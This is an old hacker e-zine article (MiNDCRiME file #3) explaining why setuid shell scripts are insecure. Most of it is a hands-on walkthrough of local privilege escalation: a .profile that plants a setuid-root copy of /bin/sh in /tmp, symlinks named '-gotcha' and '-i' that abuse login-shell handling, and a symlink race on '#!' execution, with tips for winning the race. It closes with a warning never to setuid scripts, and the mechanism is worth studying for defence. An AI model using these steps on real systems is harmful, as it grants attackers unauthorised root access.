textfiles/magazines/MINDCRIME/mc-03.txt

95 lines
3.7 KiB
Plaintext
Raw Normal View History

2021-04-15 11:31:59 -07:00
=================================[MiNDCRiME]==================================
[FiLE #3:]
[I'd like to remind folks that this is the "Beginner's" section. Most of
you will know this. I don't need to hear colorful remarks about
how "old" this is. -hc]
"Why shell scripts with the set-user-id bit set aren't safe?"
by zomo
Most shells will run as a login shell if the first character of their
argv[0] starts with a '-'. This is how login manages to give you a login
shell (check login.c). It calls csh as '-csh'. One of the things that a
login shell does is read your .profile or .cshrc.
On some systems, the shell is stupid enough to read and run $HOME/.profile
(or equivalent) even if it is running set-uid (effective uid != real uid).
So,
% ls -l /usr/local/bin/setuid-shell-script
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
% cat > .profile << _EOF_
cp /bin/sh /tmp/fuck
chown root.wheel /tmp/fuck
chmod 4755 /tmp/fuck
_EOF_
% ln -s /usr/local/bin/setuid-shell-script -gotcha
% ./-gotcha
% /tmp/fuck
#
You got it! And there is another easy-to-exploit bug with set-uid shell
script.
% ls -l /usr/local/bin/setuid-shell-script
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
% ln -s /usr/local/bin/setuid-shell-script -i
% ./-i
#
Try it and think how it works (or it doesn't work ;) ).
Now for the second security hole. It works on almost all #! systems.
Not only with shell scripts. When the kernel execs a file, it looks for
a magic number in the first two bytes ( try % man a.out ). If the magic
number is '#!', then it takes the next one or two tokens, execs file
into which token parsed, with the full pathname of the script as an
argument. ( get the kernel source of BSD unix and check exec.c )
So if /user/crash/dummies starts with:
#!/bin/sh
then the kernel, in the process of loading this, would do:
execute "/bin/sh /user/crash/dummies". In other words, /bin/sh would
have /user/crash/dummies as argv[0]. If it was
#!/bin/csh -f
then the kernel would execs "/bin/csh -f /user/crash/dummies"
The important thing to note here is that the shell re-opens the file
fo itself. The kernel does not pass an open file descripter to shell.
The race condition arises here.
% ls -l /usr/local/bin/setuid-shell-script
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
% ln -s /usr/local/bin/setuid-shell-script hack-link
% cat > hack-commands << _EOF_
cp /bin/sh /tmp/fuck
chown root.wheel /tmp/fuck
chmod 4755 /tmp/fuck
_EOF_
% ./hack-link
So the kernel stat()s hack-link. stat() follows the link and see the
set-uid bit set with setuid-shell-script and the owner being root. So
the kernel sets uid to root (check exec.c, you can find this routine).
Then it executes the following command:
/bin/sh /user/danny/hack-link
with uid set to 0.
The uid-zero shell opens /user/danny/hack-link. The open() follows the
link and opens the file at the other end (/usr/local/bin/setuid-shell-script)
and executes the commands from it. Still no security hole.
But what if while the kernel was doing this, you did:
% rm mylink; ln -s /user/danny/hack-commands /usr/danny/hack-link
Now when the kernel followed hack-link,
it found /usr/local/bin/setuid-shell-script. So it set uid to 0. But the
time the /bin/sh follwed hack-link to open it, it find it was linked to
hack-commands, not /usr/local/bin/setuid-shell-script. So it execute
hack-commands as root.
Now you will almost certainly not win such a race with the kernel.
But you can increase the probability of win a race by increasing
system load (i.e. execute X application, compute complex math problem)
and doing race with fast and optimized C program.
The moral of story: DO NOT SET-UID ANY SCRIPTS.